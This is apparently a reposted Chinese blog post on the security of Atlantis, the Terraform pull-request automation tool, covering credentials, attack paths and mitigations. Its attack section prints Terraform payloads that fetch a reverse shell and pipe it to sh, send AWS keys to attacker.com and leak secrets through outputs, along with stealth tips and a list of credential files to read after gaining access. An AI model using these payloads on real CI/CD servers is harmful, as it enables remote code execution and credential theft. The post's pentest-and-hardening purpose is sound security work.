CICD之Atlantis安全

admin 2023年11月27日23:28:51评论38 views字数 8311阅读27分42秒阅读模式

CICD系列第三篇,可能相对数据安全这种热门、渗透技能这类常青树来说,相对偏冷门点,很多时候在遇到大型互联网企业的架构时,往往会发现关于CICD发版流程中的一些知识点比较难找,主要是可能我也不会,所以想学一学,顺便总结下笔记,分享给大家

对CICD安全感兴趣的,可以顺便看看前两篇:

CICD之 Gitea Security

CICD之Kubernetes 安全


基本信息  

Atlantis基本上帮助您从git服务器的拉取请求中运行terraform。    

CICD之Atlantis安全    

本地实验室  

·1.前往https://github.com/runatlantis/atlantis/releases上的atlantis发布页面,下载适合您的版本。

·2.创建您的github用户的个人令牌(具有存储库访问权限)

·3.执行./atlantis testdrive,它将创建一个演示仓库,您可以用来与atlantis交互

·4.您可以在127.0.0.1:4141访问网页

Atlantis访问  

Git服务器凭据  

Atlantis支持多个git主机,如Github,Gitlab,BitbucketAzure DevOps。但是,为了访问这些平台上的存储库并执行操作,它需要获得一些特权访问权限(至少写入权限)。文档鼓励在这些平台上为Atlantis创建一个用户,但有些人可能使用个人帐户。

无论如何,从攻击者的角度来看,Atlantis帐户将是一个非常有趣被攻击目标

Webhooks  

Atlantis可选地使用Webhook secrets来验证从Git主机接收到的webhooks是否是合法的。

确认这一点的一种方法是允许仅来自您的Git主机IP的请求,但更简单的方法是使用Webhook Secret。    

请注意,除非您使用私有的github或bitbucket服务器,否则您将需要将Webhook端点暴露给互联网。

Atlantis将公开Webhooks,以便git服务器可以向其发送信息。从攻击者的角度来看,了解是否可以向其发送消息将是有趣的。

提供者凭据  

Atlantis通过在托管Atlantis的服务器上简单地执行terraform plan和apply命令来运行Terraform。就像在本地运行Terraform时一样,Atlantis需要您特定提供者的凭据。

您可以选择如何为Atlantis提供您特定提供者的凭据:

·Atlantis Helm ChartAWS Fargate模块具有它们自己的提供者凭据机制。请阅读它们的文档。

·如果您在云中运行Atlantis,则许多云都有办法为在其上运行的应用程序提供云API访问权限,例如:

·AWS EC2角色(搜索"EC2 Role")

·GCE实例服务帐户

·许多用户设置环境变量,例如AWS_ACCESS_KEY,其中运行Atlantis。

·其他人创建必要的配置文件,例如~/.aws/credentials,其中运行Atlantis。

·使用HashiCorp Vault Provider获取提供者凭据。

Atlantis运行的容器很可能会包含对由Terraform管理的提供者(AWS,GCP,Github等)的特权凭据。    

网页  

默认情况下,Atlantis将在本地主机的端口4141上运行一个网页。此页面只允许您启用/禁用atlantis apply并检查存储库的计划状态并解锁它们(它不允许修改事物,因此并不那么有用)。

您可能不会发现它暴露在互联网上,但是默认情况下不需要凭据访问它(如果需要,atlantis:atlantis是默认凭据)。

服务器配置  

可以通过命令行标志、环境变量、配置文件或三者混合来指定对atlantis server的配置。

·您可以在这里找到支持的标志列表 Atlantis服务器

·您可以在这里找到如何将配置选项转换为环境变量

值的选择顺序如下:

·1.标志

·2.环境变量

·3.配置文件

请注意,在配置中,您可能会找到令牌和密码等有趣的值。

仓库配置  

一些配置会影响仓库的管理方式。然而,每个仓库可能需要不同的设置,因此有多种方法可以指定每个仓库的设置。以下是优先级顺序:    

·1.仓库/atlantis.yml文件。可以使用此文件指定atlantis如何处理仓库。但是,默认情况下,某些键不能在没有允许的标志的情况下在此处指定。

·2.可能需要通过allowed_overrides或allow_custom_workflows等标志进行允许

·3.服务器端配置:可以使用--repo-config标志传递它,它是一个为每个仓库配置新设置的yaml文件(支持正则表达式)

·4.默认

PR保护  

Atlantis允许指示是否希望在运行apply之前由其他人**批准PR(即使在分支保护中没有设置)和/或可合并**(分支保护已通过)。从安全角度来看,建议同时设置这两个选项。

如果allowed_overrides为True,则可以通过仓库的/atlantis.yml文件覆盖这些设置

脚本  

仓库配置可以指定在执行工作流之前pre workflow hooks)和之后post workflow hooks运行的脚本

没有任何选项允许在仓库的/atlantis.yml文件中指定这些脚本。

工作流程  

在仓库配置(服务器端配置)中,您可以指定新的默认工作流程,或者创建新的自定义工作流程。您还可以指定哪些仓库可以访问生成的新工作流程。然后,您可以允许每个仓库的atlantis.yaml文件指定要使用的工作流程    

如果将服务器端配置标志allow_custom_workflows设置为True,则可以在每个仓库的**atlantis.yaml文件中指定工作流程。还有可能需要allowed_overrides也指定workflow覆盖将要使用的工作流程**。这基本上会给任何可以访问该仓库的用户在Atlantis服务器中提供RCE(远程命令执行)权限。

# atlantis.yamlversion:3projects:-dir: .workflow: custom1workflows:custom1:plan:steps:- init-run: my custom plan commandapply:steps:-run: my custom apply command    

Conftest策略检查  

Atlantis支持对计划输出运行服务器端conftest策略。使用此步骤的常见用例包括:

·拒绝使用模块列表

·在创建时断言资源的属性

·捕捉意外的资源删除

·防止安全风险(例如将安全端口暴露给公众)

您可以在文档中了解如何配置它。

Atlantis命令  

在文档中您可以找到可以用于运行Atlantis的选项。

# Get helpatlantis help
# Run terraform planatlantis plan [options] -- [terraform plan flags]##Options:## -d directory## -p project## --verbose## You can also add extra terraform options
# Run terraform applyatlantis apply [options] -- [terraform apply flags]##Options:## -d directory## -p project## -w workspace## --auto-merge-disabled## --verbose## You can also add extra terraform options

攻击  

如果在利用过程中遇到以下错误:Error: Error acquiring the state lock

您可以通过运行以下命令来修复:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis计划RCE - 在新的PR中修改配置  

如果您对存储库具有写访问权限,您将能够在其上创建一个新的分支并生成PR。如果您可以执行atlantis plan(或者它可能会自动执行),您将能够在Atlantis服务器内执行RCE。

您可以通过使Atlantis加载外部数据源来实现此目的。只需在main.tf文件中放置以下有效载荷即可:

data "external""example"{
program = ["sh","-c","curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

隐蔽的攻击  

你可以以更隐蔽的方式执行这种攻击,按照以下建议操作:

·不要直接将反向 shell 添加到 terraform 文件中,而是可以加载包含反向 shell 的外部资源:

module "not_rev_shell"{
source ="git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

您可以在https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules找到反向Shell代码。    

·在外部资源中,使用ref功能将terraform反向Shell代码隐藏在存储库的一个分支中,类似于:[email protected]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

·而不是创建一个PR到主分支来触发Atlantis,创建2个分支(test1和test2),并从一个分支创建一个PR到另一个分支。完成攻击后,只需删除PR和分支

Atlantis计划机密信息泄露  

您可以通过在terraform文件中添加以下内容来导出terraform使用的机密信息运行atlantis plan(terraform plan):

output "dotoken"{
value = nonsensitive(var.do_token)
}

Atlantis应用RCE - 在新的PR中修改配置  

如果您对存储库具有写访问权限,您将能够在其上创建一个新的分支并生成PR。如果您可以执行atlantis apply,则可以在Atlantis服务器内部执行RCE。

但是,通常您需要绕过一些保护措施:

·可合并性:如果在Atlantis中设置了此保护措施,则只能在PR可合并时运行**atlantis apply**(这意味着需要绕过分支保护)。

·检查可能的分支保护绕过    

·已批准:如果在Atlantis中设置了此保护措施,则必须有其他用户批准PR,然后才能运行atlantis apply。

·默认情况下,您可以滥用Gitbot令牌来绕过此保护措施

在恶意的Terraform文件上运行**terraform apply,并使用**local-exec 您只需要确保以下类似的有效负载出现在main.tf文件中:

// Payload 1 to just steal a secret
resource "null_resource""secret_stealer"{
provisioner "local-exec"{
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource""rev_shell"{
provisioner "local-exec"{
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

按照前一种技术的建议,以更隐蔽的方式执行此攻击。

Terraform 参数注入  

当运行 atlantis plan 或 atlantis apply 时,terraform 在后台运行,您可以通过在 atlantis 中注释的方式向 terraform 传递命令,例如:

atlantis plan --
atlantis plan -- -h#Get terraform plan help
atlantis apply --
atlantis apply -- -h#Get terraform apply help

你可以传递环境变量来绕过一些保护措施。查看https://www.terraform.io/cli/config/environment-variables中的Terraform环境变量。

自定义工作流程  

在atlantis.yaml文件中运行恶意自定义构建命令。Atlantis使用拉取请求分支的atlantis.yaml文件,而不是master分支的文件。

在前面的部分中提到了这种可能性:

如果服务器端配置标志allow_custom_workflows设置为True,则可以在每个仓库的**atlantis.yaml文件中指定工作流程。还可能需要在allowed_overrides中指定workflow覆盖将要使用的工作流程**。

这基本上会给任何可以访问该仓库的用户提供Atlantis服务器中的远程命令执行(RCE)    

# atlantis.yamlversion:3projects:-dir: .workflow: custom1workflows:custom1:plan:steps:- init-run: my custom plan commandapply:steps:-run: my custom apply command

绕过计划/应用保护  

如果服务器端配置标志allowed_overrides已配置apply_requirements,则可能有一个仓库可以修改计划/应用保护以绕过它们

repos:    -id: /.*/apply_requirements:[]

PR劫持  

如果有人在您的有效拉取请求上发送**atlantis plan/apply的评论**,它将在您不希望运行时运行terraform。

此外,如果您没有在分支保护中配置要求在推送新提交重新评估每个PR,某人可以在terraform配置中编写恶意配置(检查前面的场景),运行atlantis plan/apply并获得RCE。

这是Github分支保护的设置

CICD之Atlantis安全

Webhook密钥  

如果您设法窃取了使用的Webhook密钥,或者没有使用任何Webhook密钥,您可以调用Atlantis Webhook并直接调用atlantis命令

Bitbucket  

Bitbucket Cloud不支持Webhook密钥。这可能允许攻击者伪造来自Bitbucket的请求。确保只允许Bitbucket的IP。

·这意味着攻击者可以制作伪造的请求发送到Atlantis,看起来像是来自Bitbucket的请求。    

·如果您指定了--repo-allowlist,那么他们只能伪造与这些存储库相关的请求,因此他们可能对您自己的存储库进行计划/应用。

·为了防止这种情况,允许Bitbucket的IP地址(请参阅Outbound IPv4地址)。

后渗透  

如果您成功访问了服务器,或者至少获得了LFI,那么您应该尝试阅读以下有趣的内容:

/home/atlantis/.git-credentials 包含VCS访问凭据/atlantis-data/atlantis.db 包含更多信息的VCS访问凭据/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform状态文件示例:/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate/proc/1/environ 环境变量/proc/[2-20]/cmdline atlantis server的命令行(可能包含敏感数据)

缓解措施  

不要在公共存储库上使用  

因为任何人都可以在公共拉取请求上发表评论,即使有所有可用的安全缓解措施,仍然在没有正确配置安全设置的情况下在公共存储库上运行Atlantis是危险的。    

不要使用--allow-fork-prs  

如果您在公共存储库上运行(不推荐,请参见上文),则不应设置--allow-fork-prs(默认为false),因为任何人都可以从其分支向您的存储库打开拉取请求。

--repo-allowlist  

Atlantis要求您通过--repo-allowlist标志指定它将接受Webhook的存储库的允许列表。例如:

·特定存储库:--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

·整个组织:--repo-allowlist=github.com/runatlantis/*

·GitHub企业安装中的所有存储库:--repo-allowlist=github.yourcompany.com/*

·所有存储库:--repo-allowlist=*。在受保护的网络中很有用,但如果没有设置Webhook密钥,也很危险。

此标志确保您的Atlantis安装不会与您无法控制的存储库一起使用。有关更多详细信息,请参阅atlantis server --help。

保护Terraform规划  

如果攻击者提交带有恶意Terraform代码的拉取请求在您的威胁模型中,则必须意识到仅仅使用terraform apply批准是不够的。可以使用external数据源运行恶意代码,或者指定恶意提供程序。然后,该代码可以窃取您的凭据。    

为了防止这种情况,您可以:

·1.将提供程序嵌入到Atlantis镜像中或在生产环境中拒绝出站流量。

·2.在内部实现提供程序注册表协议并拒绝公共出站流量,这样您就可以控制谁有对注册表的写访问权限。

·3.修改您的服务器端存储库配置的plan步骤,以验证是否使用了不允许的提供程序或数据源,或者是否来自不允许的用户的PR。您还可以在此时添加额外的验证,例如在允许plan继续之前要求PR上的“点赞”。在这里,Conftest可能会有用。

Webhook密钥  

Atlantis应该使用通过$ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET环境变量设置的Webhook密钥运行。即使设置了--repo-allowlist标志,如果没有Webhook密钥,攻击者仍然可以伪装成允许列出的存储库向Atlantis发出请求。Webhook密钥确保Webhook请求实际上来自您的VCS提供商(GitHub或GitLab)。

如果您使用的是Azure DevOps,可以使用基本用户名和密码代替Webhook密钥。

Azure DevOps基本身份验证  

Azure DevOps支持在所有Webhook事件中发送基本身份验证头。这需要在Webhook位置使用HTTPS URL。    

SSL/HTTPS  

如果您使用Webhook密钥,但流量是通过HTTP进行的,则Webhook密钥可能会被窃取。使用--ssl-cert-file和--ssl-key-file标志启用SSL/HTTPS。

在 Atlantis Web 服务器上启用身份验证  

强烈建议在 Web 服务中启用身份验证。使用 --web-basic-auth=true 启用 BasicAuth,并使用 --web-username=yourUsername 和 --web-password=yourPassword 标志设置用户名和密码。

您还可以将这些作为环境变量传递,ATLANTIS_WEB_BASIC_AUTH=trueATLANTIS_WEB_USERNAME=yourUsername 和 ATLANTIS_WEB_PASSWORD=yourPassword。    



原文始发于微信公众号(暴暴的皮卡丘):CICD之Atlantis安全

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月27日23:28:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CICD之Atlantis安全http://cn-sec.com/archives/2245840.html

发表评论

匿名网友 填写信息